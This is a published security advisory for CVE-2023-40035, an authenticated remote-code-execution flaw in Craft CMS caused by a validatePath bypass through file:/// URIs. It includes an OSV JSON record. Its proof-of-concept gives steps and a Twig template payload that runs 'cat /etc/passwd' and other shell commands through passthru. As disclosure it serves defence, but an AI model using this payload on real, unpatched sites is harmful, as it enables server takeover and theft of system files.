GHSA-44WR-RMWQ-3PHW
Vulnerability from github – Published: 2023-08-21 19:58 – Updated: 2025-07-16 21:00Summary
Bypassing the validatePath function can lead to potential Remote Code Execution (Post-authentication, ALLOW_ADMIN_CHANGES=true)
Details
In bootstrap.php, the SystemPaths path is set as below.
// Set the vendor path. By default assume that it's 4 levels up from here
$vendorPath = $findConfigPath('--vendorPath', 'CRAFT_VENDOR_PATH') ?? dirname(__DIR__, 3);
// Set the "project root" path that contains config/, storage/, etc. By default assume that it's up a level from vendor/.
$rootPath = $findConfigPath('--basePath', 'CRAFT_BASE_PATH') ?? dirname($vendorPath);
// By default the remaining directories will be in the base directory
$dotenvPath = $findConfigPath('--dotenvPath', 'CRAFT_DOTENV_PATH') ?? "$rootPath/.env";
$configPath = $findConfigPath('--configPath', 'CRAFT_CONFIG_PATH') ?? "$rootPath/config";
$contentMigrationsPath = $findConfigPath('--contentMigrationsPath', 'CRAFT_CONTENT_MIGRATIONS_PATH') ?? "$rootPath/migrations";
$storagePath = $findConfigPath('--storagePath', 'CRAFT_STORAGE_PATH') ?? "$rootPath/storage";
$templatesPath = $findConfigPath('--templatesPath', 'CRAFT_TEMPLATES_PATH') ?? "$rootPath/templates";
$translationsPath = $findConfigPath('--translationsPath', 'CRAFT_TRANSLATIONS_PATH') ?? "$rootPath/translations";
$testsPath = $findConfigPath('--testsPath', 'CRAFT_TESTS_PATH') ?? "$rootPath/tests";
Because paths are validated based on the /path1/path2 format, this can be bypassed using a file URI scheme such as file:///path1/path2. File scheme is supported in mkdir()
/**
* @param string $attribute
* @param array|null $params
* @param InlineValidator $validator
* @return void
* @since 4.4.6
*/
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
// Make sure it’s not within any of the system directories
$path = FileHelper::absolutePath($this->getRootPath(), '/');
$systemDirs = Craft::$app->getPath()->getSystemPaths();
foreach ($systemDirs as $dir) {
$dir = FileHelper::absolutePath($dir, '/');
if (str_starts_with("$path/", "$dir/")) {
$validator->addError($this, $attribute, Craft::t('app', 'Local volumes cannot be located within system directories.'));
break;
}
}
}
ref. https://www.php.net/manual/en/wrappers.file.php
PoC
1) Create a new filesystem. Base Path: file:///var/www/html/templates

2) Create a new asset volume. Asset Filesystem: local_bypass

3) Upload a ttml file with rce template code. Confirm poc.ttml file created in /var/www/html/templates
{{'<pre>'}}
{{1337*1337}}
{{['cat /etc/passwd']|map('passthru')|join}}
{{['id;pwd;ls -altr /']|map('passthru')|join}}

4) Create a new route. URI: * , Template: poc.ttml

5) Confirm RCE on arbitrary path ( /* )

PoC Env

Impact
Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.
although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.4.14"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.4.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.8.14"
},
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.8.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-40035"
],
"database_specific": {
"cwe_ids": [
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-21T19:58:04Z",
"nvd_published_at": "2023-08-23T21:15:08Z",
"severity": "HIGH"
},
"details": "### Summary\nBypassing the validatePath function can lead to potential Remote Code Execution\n(Post-authentication, ALLOW_ADMIN_CHANGES=true)\n\n### Details\n\nIn bootstrap.php, the SystemPaths path is set as below.\n```php\n// Set the vendor path. By default assume that it\u0027s 4 levels up from here\n$vendorPath = $findConfigPath(\u0027--vendorPath\u0027, \u0027CRAFT_VENDOR_PATH\u0027) ?? dirname(__DIR__, 3);\n\n// Set the \"project root\" path that contains config/, storage/, etc. By default assume that it\u0027s up a level from vendor/.\n$rootPath = $findConfigPath(\u0027--basePath\u0027, \u0027CRAFT_BASE_PATH\u0027) ?? dirname($vendorPath);\n\n// By default the remaining directories will be in the base directory\n$dotenvPath = $findConfigPath(\u0027--dotenvPath\u0027, \u0027CRAFT_DOTENV_PATH\u0027) ?? \"$rootPath/.env\";\n$configPath = $findConfigPath(\u0027--configPath\u0027, \u0027CRAFT_CONFIG_PATH\u0027) ?? \"$rootPath/config\";\n$contentMigrationsPath = $findConfigPath(\u0027--contentMigrationsPath\u0027, \u0027CRAFT_CONTENT_MIGRATIONS_PATH\u0027) ?? \"$rootPath/migrations\";\n$storagePath = $findConfigPath(\u0027--storagePath\u0027, \u0027CRAFT_STORAGE_PATH\u0027) ?? \"$rootPath/storage\";\n$templatesPath = $findConfigPath(\u0027--templatesPath\u0027, \u0027CRAFT_TEMPLATES_PATH\u0027) ?? \"$rootPath/templates\";\n$translationsPath = $findConfigPath(\u0027--translationsPath\u0027, \u0027CRAFT_TRANSLATIONS_PATH\u0027) ?? \"$rootPath/translations\";\n$testsPath = $findConfigPath(\u0027--testsPath\u0027, \u0027CRAFT_TESTS_PATH\u0027) ?? \"$rootPath/tests\";\n```\n\nBecause paths are validated based on the /path1/path2 format, this can be bypassed using a file URI scheme such as file:///path1/path2. File scheme is supported in mkdir()\n```php\n /**\n * @param string $attribute\n * @param array|null $params\n * @param InlineValidator $validator\n * @return void\n * @since 4.4.6\n */\n public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void\n {\n // Make sure it\u2019s not within any of the system directories\n $path = FileHelper::absolutePath($this-\u003egetRootPath(), \u0027/\u0027);\n\n $systemDirs = Craft::$app-\u003egetPath()-\u003egetSystemPaths();\n\n foreach ($systemDirs as $dir) {\n $dir = FileHelper::absolutePath($dir, \u0027/\u0027);\n if (str_starts_with(\"$path/\", \"$dir/\")) {\n $validator-\u003eaddError($this, $attribute, Craft::t(\u0027app\u0027, \u0027Local volumes cannot be located within system directories.\u0027));\n break;\n }\n }\n }\n```\n\nref. https://www.php.net/manual/en/wrappers.file.php\n\n\n\n### PoC\n1) Create a new filesystem. **Base Path: file:///var/www/html/templates**\n\n\n\n\n2) Create a new asset volume. Asset Filesystem: local_bypass\n\n\n\n\n3) Upload a ttml file with rce template code. Confirm poc.ttml file created in /var/www/html/templates\n```twig\n{{\u0027\u003cpre\u003e\u0027}}\n{{1337*1337}}\n{{[\u0027cat /etc/passwd\u0027]|map(\u0027passthru\u0027)|join}}\n{{[\u0027id;pwd;ls -altr /\u0027]|map(\u0027passthru\u0027)|join}}\n```\n\n\n\n\n4) Create a new route. URI: * , Template: poc.ttml\n\n\n\n\n5) Confirm RCE on arbitrary path ( /* )\n\n\n\n\n#### PoC Env\n\n\n\n\n### Impact\nTake control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.\n\nalthough the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)",
"id": "GHSA-44wr-rmwq-3phw",
"modified": "2025-07-16T21:00:57Z",
"published": "2023-08-21T19:58:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-44wr-rmwq-3phw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40035"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/0bd33861abdc60c93209cff03eeee54504d3d3b5"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/releases/tag/3.8.15"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/releases/tag/4.4.15"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Craft CMS vulnerable to Remote Code Execution via validatePath bypass"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.